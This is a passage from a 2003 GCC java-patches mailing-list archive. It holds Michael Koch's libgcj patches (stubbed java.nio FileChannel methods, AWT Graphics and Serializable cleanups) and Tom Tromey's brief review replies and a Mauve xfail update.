nio_unmmap_file (int fd, long address, int size) + throw new Error ("Not implemented"); + } + + public long position () + throws IOException + { + if (!isOpen ()) + throw new ClosedChannelException (); + + throw new Error ("not implemented"); + } + + public FileChannel position (long newPosition) + throws IOException { - }; + if (newPosition < 0) + throw new IllegalArgumentException (); - static void nio_msync (int fd, long address, int length) + if (!isOpen ()) + throw new ClosedChannelException (); + + throw new Error ("not implemented"); + } + + public FileChannel truncate (long size) + throws IOException { - }; + if (size < 0) + throw new IllegalArgumentException (); + + if (!isOpen ()) + throw new ClosedChannelException (); + + // FIXME: check for NonWritableChannelException + + throw new Error ("not implemented"); + } + + private static native long nio_mmap_file (int fd, long pos, int size, int mode); + private static native void nio_unmmap_file (int fd, long address, int size); + private static native void nio_msync (int fd, long address, int length); } Index: gnu/java/nio/natFileChannelImpl.cc =================================================================== RCS file: gnu/java/nio/natFileChannelImpl.cc diff -N gnu/java/nio/natFileChannelImpl.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/java/nio/natFileChannelImpl.cc 13 Feb 2003 15:12:00 -0000 @@ -0,0 +1,53 @@ +// natFileChannelImpl.cc + +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#include + +#include +#include +#include + +#ifdef HAVE_UNISTD_H +#include +#endif + +#ifdef HAVE_FCNTL_H +#include +#endif + +#include +#include +#include + +jlong +gnu::java::nio::FileChannelImpl::lengthInternal (jint fd) +{ + throw new ::java::io::IOException (JvNewStringUTF ("lengthInternal not implemented")); +} + +jlong +gnu::java::nio::FileChannelImpl::nio_mmap_file (jint, jlong, jint, jint) +{ + throw new ::java::io::IOException (JvNewStringUTF ("mmap not implemented")); +} + +void +gnu::java::nio::FileChannelImpl::nio_unmmap_file (jint, jlong, jint) +{ + throw new ::java::io::IOException (JvNewStringUTF ("munmap not implemented")); +} + +void +gnu::java::nio::FileChannelImpl::nio_msync (jint, jlong, jint) +{ + throw new ::java::io::IOException (JvNewStringUTF ("msync not implemented")); +} --Boundary-00=_yY7S+D0hwDedZyt-- From java-patches-return-6113-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 15:17:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3493 invoked by alias); 13 Feb 2003 15:17:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3486 invoked from network); 13 Feb 2003 15:17:54 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 13 Feb 2003 15:17:54 -0000 Received: from 192.168.1.3 (dynadsl-080-228-66-174.ewetel.net [80.228.66.174]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1DFHqwt021679 for ; Thu, 13 Feb 2003 16:17:53 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.Graphics Date: Thu, 13 Feb 2003 16:17:00 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_sb7S+8g2/JGsE95" Message-Id: <200302131617.00327.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_sb7S+8g2/JGsE95 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here is a patch for java.awt.Graphics to get more JDK 1.4 compatible.=20 It also affects the GTK peer. I only tried with the new GTK peer as=20 this seems to be the only compilable. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+S7bsWSOgCCdjSDsRAsa0AJ4gnJgp5U/ooL91JHiSKRyK6eMqAwCdHyAz =46Io6Fq9J1j3lUA/d79ku+FQ=3D =3Dw9Oz =2D----END PGP SIGNATURE----- --Boundary-00=_sb7S+8g2/JGsE95 Content-Type: text/x-diff; charset="iso-8859-15"; name="Graphics.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Graphics.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1694 diff -u -r1.1694 ChangeLog --- ChangeLog 13 Feb 2003 11:37:09 -0000 1.1694 +++ ChangeLog 13 Feb 2003 11:40:58 -0000 @@ -1,5 +1,12 @@ 2003-02-13 Michael Koch + * gnu/java/awt/peer/gtk/GdkGraphics.java + (drawString): New stubbed method. + * java/awt/Graphics.java + (drawString): New method. + +2003-02-13 Michael Koch + * java/nio/ByteBuffer.java (endian): New member variable. (get): New methods. Index: gnu/java/awt/peer/gtk/GdkGraphics.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GdkGraphics.java,v retrieving revision 1.1 diff -u -r1.1 GdkGraphics.java --- gnu/java/awt/peer/gtk/GdkGraphics.java 31 Jan 2003 17:54:13 -0000 1.1 +++ gnu/java/awt/peer/gtk/GdkGraphics.java 13 Feb 2003 11:40:58 -0000 @@ -40,6 +40,7 @@ import java.awt.*; import java.awt.image.*; +import java.text.AttributedCharacterIterator; public class GdkGraphics extends Graphics { @@ -209,6 +210,11 @@ { drawString (str, x, y, ((GtkFontPeer)font.getPeer ()).getXLFD (), font.getSize ()); + } + + public void drawString (AttributedCharacterIterator ci, int x, int y) + { + throw new Error ("not implemented"); } public void drawRoundRect(int x, int y, int width, int height, Index: java/awt/Graphics.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Graphics.java,v retrieving revision 1.4 diff -u -r1.4 Graphics.java --- java/awt/Graphics.java 22 Jan 2002 22:40:04 -0000 1.4 +++ java/awt/Graphics.java 13 Feb 2003 11:40:58 -0000 @@ -39,6 +39,7 @@ package java.awt; import java.awt.image.ImageObserver; +import java.text.AttributedCharacterIterator; /** * This is the abstract superclass of classes for drawing to graphics @@ -594,6 +595,8 @@ */ public abstract void drawString(String string, int x, int y); + +public abstract void drawString (AttributedCharacterIterator ci, int x, int y); /*************************************************************************/ --Boundary-00=_sb7S+8g2/JGsE95-- From java-patches-return-6114-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 15:17:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3631 invoked by alias); 13 Feb 2003 15:17:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3572 invoked from network); 13 Feb 2003 15:17:56 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 172.16.49.205 with SMTP; 13 Feb 2003 15:17:56 -0000 Received: from 192.168.1.3 (dynadsl-080-228-66-174.ewetel.net [80.228.66.174]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1DFHqwv021679 for ; Thu, 13 Feb 2003 16:17:54 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.* Date: Thu, 13 Feb 2003 16:17:51 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_fc7S+BxEEz4Vc7x" Message-Id: <200302131617.51641.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_fc7S+BxEEz4Vc7x Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here another patch with some small changes for java.awt. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+S7cfWSOgCCdjSDsRAmgLAKCf+TmOlDSA1PYvAOkDTey+tKWIdQCfeuwQ HFbFxAx34BTJQ+PLBcynG2M=3D =3DDwlN =2D----END PGP SIGNATURE----- --Boundary-00=_fc7S+BxEEz4Vc7x Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1694 diff -u -r1.1694 ChangeLog --- ChangeLog 13 Feb 2003 11:37:09 -0000 1.1694 +++ ChangeLog 13 Feb 2003 11:40:34 -0000 @@ -1,5 +1,31 @@ 2003-02-13 Michael Koch + * java/awt/Label.java + (Label): Don't implement Serializable directly. + (addNotify): Fixed typo in documentation. + * java/awt/List.java + (List): Don't implement Serializable directly. + * java/awt/PopupMenu.java + (PopupMenu): Don't implement Serializable directly. + * java/awt/ScrollPane.java + (ScrollPane): Don't implement Serializable directly. + * java/awt/Scrollbar.java + (Scrollbar): Don't implement Serializable directly. + * java/awt/TextArea.java + (preferredSize): Fixed method arguments. + * java/awt/TextField.java + (TextField): Don't implement Serializable directly. + * java/awt/color/ICC_ColorSpace.java + (fromCIOXYZ): Documentation added. + (getMinValue): Documentation added. + (getMaxValue): Documentation added. + * java/awt/datatransfer/DataFlavor.java + (isMimeTypeEqual): May not be final. + (clone): Throws CloneNotSupportedException. + (getReaderForText): Don't throws UnsupportedEncodingException. + +2003-02-13 Michael Koch + * java/nio/ByteBuffer.java (endian): New member variable. (get): New methods. Index: java/awt/Label.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Label.java,v retrieving revision 1.10 diff -u -r1.10 Label.java --- java/awt/Label.java 14 Jan 2003 21:21:31 -0000 1.10 +++ java/awt/Label.java 13 Feb 2003 11:40:34 -0000 @@ -40,7 +40,6 @@ import java.awt.peer.LabelPeer; import java.awt.peer.ComponentPeer; -import java.io.Serializable; import javax.accessibility.Accessible; /** @@ -50,7 +49,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class Label extends Component implements Serializable, Accessible +public class Label extends Component implements Accessible { /* @@ -225,7 +224,7 @@ /*************************************************************************/ /** - * Notifies this lable that it has been added to a container, causing + * Notifies this label that it has been added to a container, causing * the peer to be created. This method is called internally by the AWT * system. */ Index: java/awt/List.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/List.java,v retrieving revision 1.10 diff -u -r1.10 List.java --- java/awt/List.java 14 Jan 2003 21:21:32 -0000 1.10 +++ java/awt/List.java 13 Feb 2003 11:40:34 -0000 @@ -54,7 +54,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) */ public class List extends Component - implements ItemSelectable, Serializable, Accessible + implements ItemSelectable, Accessible { /* Index: java/awt/PopupMenu.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/PopupMenu.java,v retrieving revision 1.5 diff -u -r1.5 PopupMenu.java --- java/awt/PopupMenu.java 2 Jan 2003 00:14:22 -0000 1.5 +++ java/awt/PopupMenu.java 13 Feb 2003 11:40:34 -0000 @@ -47,7 +47,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class PopupMenu extends Menu implements java.io.Serializable +public class PopupMenu extends Menu { /* Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.7 diff -u -r1.7 ScrollPane.java --- java/awt/ScrollPane.java 14 Jan 2003 21:21:32 -0000 1.7 +++ java/awt/ScrollPane.java 13 Feb 2003 11:40:34 -0000 @@ -41,7 +41,6 @@ import java.awt.peer.ScrollPanePeer; import java.awt.peer.ContainerPeer; import java.awt.peer.ComponentPeer; -import java.io.Serializable; import javax.accessibility.Accessible; /** @@ -50,7 +49,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class ScrollPane extends Container implements Accessible, Serializable +public class ScrollPane extends Container implements Accessible { /* Index: java/awt/Scrollbar.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v retrieving revision 1.10 diff -u -r1.10 Scrollbar.java --- java/awt/Scrollbar.java 14 Jan 2003 21:21:32 -0000 1.10 +++ java/awt/Scrollbar.java 13 Feb 2003 11:40:34 -0000 @@ -42,7 +42,6 @@ import java.awt.peer.ComponentPeer; import java.awt.event.AdjustmentListener; import java.awt.event.AdjustmentEvent; -import java.io.Serializable; import javax.accessibility.Accessible; /** @@ -52,8 +51,7 @@ * @author Tom Tromey */ public class Scrollbar extends Component implements Accessible, - Adjustable, - Serializable + Adjustable { // FIXME: Serialization readObject/writeObject Index: java/awt/TextArea.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextArea.java,v retrieving revision 1.5 diff -u -r1.5 TextArea.java --- java/awt/TextArea.java 2 Jan 2003 00:14:22 -0000 1.5 +++ java/awt/TextArea.java 13 Feb 2003 11:40:34 -0000 @@ -404,7 +404,7 @@ * getPreferredSize(int). */ public Dimension -preferredSize(int columns) +preferredSize(int rows, int columns) { return(getPreferredSize(rows, columns)); } Index: java/awt/TextField.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextField.java,v retrieving revision 1.4 diff -u -r1.4 TextField.java --- java/awt/TextField.java 2 Jan 2003 00:14:22 -0000 1.4 +++ java/awt/TextField.java 13 Feb 2003 11:40:34 -0000 @@ -49,7 +49,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class TextField extends TextComponent implements java.io.Serializable +public class TextField extends TextComponent { /* Index: java/awt/color/ICC_ColorSpace.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ICC_ColorSpace.java,v retrieving revision 1.7 diff -u -r1.7 ICC_ColorSpace.java --- java/awt/color/ICC_ColorSpace.java 14 Jan 2003 21:21:33 -0000 1.7 +++ java/awt/color/ICC_ColorSpace.java 13 Feb 2003 11:40:34 -0000 @@ -143,6 +143,13 @@ throw new UnsupportedOperationException(); } + /** + * Transforms a color value assumed to be in the CS_CIEXYZ conversion color + * space into this ColorSpace. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at + * least 3. + */ public float[] fromCIEXYZ(float[] colorvalue) { // FIXME: Not implemented @@ -150,6 +157,12 @@ } /** + * Returns the minimum normalized color component value for the specified + * component. + * + * @exception IllegalArgumentException If component is less than 0 or greater + * than numComponents - 1. + * * @since 1.4 */ public float getMinValue(int idx) @@ -162,6 +175,12 @@ } /** + * Returns the maximum normalized color component value for the specified + * component. + * + * @exception IllegalArgumentException If component is less than 0 or greater + * than numComponents - 1. + * * @since 1.4 */ public float getMaxValue(int idx) Index: java/awt/datatransfer/DataFlavor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/DataFlavor.java,v retrieving revision 1.4 diff -u -r1.4 DataFlavor.java --- java/awt/datatransfer/DataFlavor.java 2 Jan 2003 00:14:23 -0000 1.4 +++ java/awt/datatransfer/DataFlavor.java 13 Feb 2003 11:40:35 -0000 @@ -508,7 +508,7 @@ * * @exception NullPointerException If mimeType is null. */ -public final boolean +public boolean isMimeTypeEqual(String mimeType) { // FIXME: Need to handle default attributes and parameters @@ -660,8 +660,7 @@ * the Cloneable interface. Subclasses that override the clone method can also * throw this exception to indicate that an instance cannot be cloned. */ -public Object -clone() +public Object clone () throws CloneNotSupportedException { try { @@ -975,10 +974,8 @@ * @exception UnsupportedEncodingException if the "charset" isn't supported * on this platform. */ -public Reader -getReaderForText(Transferable transferable) throws UnsupportedFlavorException, - IOException, - UnsupportedEncodingException +public Reader getReaderForText(Transferable transferable) + throws UnsupportedFlavorException, IOException { if (!transferable.isDataFlavorSupported(this)) throw new UnsupportedFlavorException(this); --Boundary-00=_fc7S+BxEEz4Vc7x-- From java-patches-return-6115-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:17:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27094 invoked by alias); 13 Feb 2003 16:17:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27082 invoked from network); 13 Feb 2003 16:17:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:17:58 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA13396; Thu, 13 Feb 2003 09:17:56 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 710174F8072; Thu, 13 Feb 2003 09:07:59 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.util.prefs References: <200302121147.38814.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am KING BOMBA of Sicily!..I will marry LUCILLE BALL next Friday! Date: 13 Feb 2003 09:07:58 -0700 In-Reply-To: <200302121147.38814.konqueror@gmx.de> Message-ID: <87y94kxixt.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This patch merged java.util.prefs with classpath. Please Michael> review and comment. I noticed there are now a few differences here between classpath and libgcj. They all look like small fixes in the libgcj version. Could you merge these back? Tom From java-patches-return-6116-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:36:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8573 invoked by alias); 13 Feb 2003 16:36:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8565 invoked from network); 13 Feb 2003 16:36:07 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:36:07 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA17952; Thu, 13 Feb 2003 09:36:05 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 23C2F4F8072; Thu, 13 Feb 2003 09:26:05 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: Add another Mauve xfail From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Place me on a BUFFER counter while you BELITTLE several BELLHOPS in the Trianon Room!! Let me one of your SUBSIDIARIES! Date: 13 Feb 2003 09:26:02 -0700 Message-ID: <87smusxi3p.fsf@fleche.redhat.com> Lines: 29 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. We don't correctly implement Class.getClasses, so we must xfail these tests. Tom Index: ChangeLog from Tom Tromey * libjava.mauve/xfails: Added entries for an unimplemented Class method. Index: libjava.mauve/xfails =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/xfails,v retrieving revision 1.10.2.1 diff -u -r1.10.2.1 xfails --- libjava.mauve/xfails 7 Feb 2003 17:51:11 -0000 1.10.2.1 +++ libjava.mauve/xfails 13 Feb 2003 16:35:03 -0000 @@ -25,6 +25,8 @@ FAIL: gnu.testlet.java.lang.Character.getType (number 22) FAIL: gnu.testlet.java.lang.Class.ClassTest: Error: test_getClassLoader failed - 1 (number 1) FAIL: gnu.testlet.java.lang.Class.ClassTest: Error: test_getClassLoader failed - 2 (number 1) +FAIL: gnu.testlet.java.lang.Class.reflect2: getClasses (number 2) +FAIL: gnu.testlet.java.lang.Class.reflect2: uncaught exception at "getClasses" number 3: java.lang.ArrayIndexOutOfBoundsException: 0 FAIL: gnu.testlet.java.lang.Double.DoubleTest: Error: test_intValue returned wrong results CYGNUS: Float to int conversions - 1 (number 1) FAIL: gnu.testlet.java.lang.Float.FloatTest: Error: test_intValue returned wrong results - 1 (number 1) FAIL: gnu.testlet.java.text.AttributedString.Test: Attribute key count (number 1) From java-patches-return-6117-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:38:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11218 invoked by alias); 13 Feb 2003 16:38:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11209 invoked from network); 13 Feb 2003 16:38:24 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:38:24 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA18441; Thu, 13 Feb 2003 09:38:22 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5AD4B4F8072; Thu, 13 Feb 2003 09:28:24 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio and gnu.java.nio References: <200302130942.11049.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. I want FORTY-TWO TRYNEL FLOATATION SYSTEMS installed within SIX AND A HALF HOURS!!! Date: 13 Feb 2003 09:28:24 -0700 In-Reply-To: <200302130942.11049.konqueror@gmx.de> Message-ID: <87ptpwxhzr.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> this patch adds license and copyright texts and throws some Michael> exceptions if needed. I think this is a good candidate for Michael> 3.3 branch. I've checked it in. Tom From java-patches-return-6118-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:40:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12022 invoked by alias); 13 Feb 2003 16:40:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12015 invoked from network); 13 Feb 2003 16:40:30 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:40:30 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA18892; Thu, 13 Feb 2003 09:40:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E96884F8072; Thu, 13 Feb 2003 09:30:32 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio -- badly needed. References: <200302130952.12085.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My pants just went to high school in the Carlsbad Caverns!!! Date: 13 Feb 2003 09:30:32 -0700 In-Reply-To: <200302130952.12085.konqueror@gmx.de> Message-ID: <87lm0kxhw7.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This should fix a compile time problem noone reported. I'm putting this in 3.3. I think this wasn't reported because that file isn't mentioned in Makefile.am. Tom From java-patches-return-6119-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:41:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13231 invoked by alias); 13 Feb 2003 16:41:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13216 invoked from network); 13 Feb 2003 16:41:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:41:25 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA19116; Thu, 13 Feb 2003 09:41:24 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id ACC4C4F8072; Thu, 13 Feb 2003 09:31:28 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio - ByteBuffer and CharBuffer References: <200302131233.37041.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Do you think the ``Monkees'' should get gas on odd or even days? Date: 13 Feb 2003 09:31:28 -0700 In-Reply-To: <200302131233.37041.konqueror@gmx.de> Message-ID: <87heb8xhun.fsf@fleche.redhat.com> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Another java.nio patch that I commited. I'm putting this in 3.3. Tom From java-patches-return-6120-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:43:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15485 invoked by alias); 13 Feb 2003 16:43:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15472 invoked from network); 13 Feb 2003 16:43:28 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:43:28 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA19621; Thu, 13 Feb 2003 09:43:27 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B5B804F8072; Thu, 13 Feb 2003 09:33:30 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.Graphics References: <200302131617.00327.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! I'm imagining a surfer van filled with soy sauce! Date: 13 Feb 2003 09:33:30 -0700 In-Reply-To: <200302131617.00327.konqueror@gmx.de> Message-ID: <87d6lwxhr9.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here is a patch for java.awt.Graphics to get more JDK 1.4 Michael> compatible. It also affects the GTK peer. I only tried with Michael> the new GTK peer as this seems to be the only compilable. This is fine for the trunk. Please check it in to Classpath as well. Thanks. Tom From java-patches-return-6121-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:46:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18308 invoked by alias); 13 Feb 2003 16:46:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18295 invoked from network); 13 Feb 2003 16:46:52 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:46:52 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA20503; Thu, 13 Feb 2003 09:46:50 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 715D44F8072; Thu, 13 Feb 2003 09:36:52 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.* References: <200302131617.51641.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I always have fun because I'm out of my mind!!! Date: 13 Feb 2003 09:36:52 -0700 In-Reply-To: <200302131617.51641.konqueror@gmx.de> Message-ID: <878ywkxhln.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here another patch with some small changes for java.awt. Michael> Please review and comment. This looks great, thanks. Please check it in on the trunk and in Classpath. Tom From java-patches-return-6122-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:49:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19203 invoked by alias); 13 Feb 2003 16:49:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: 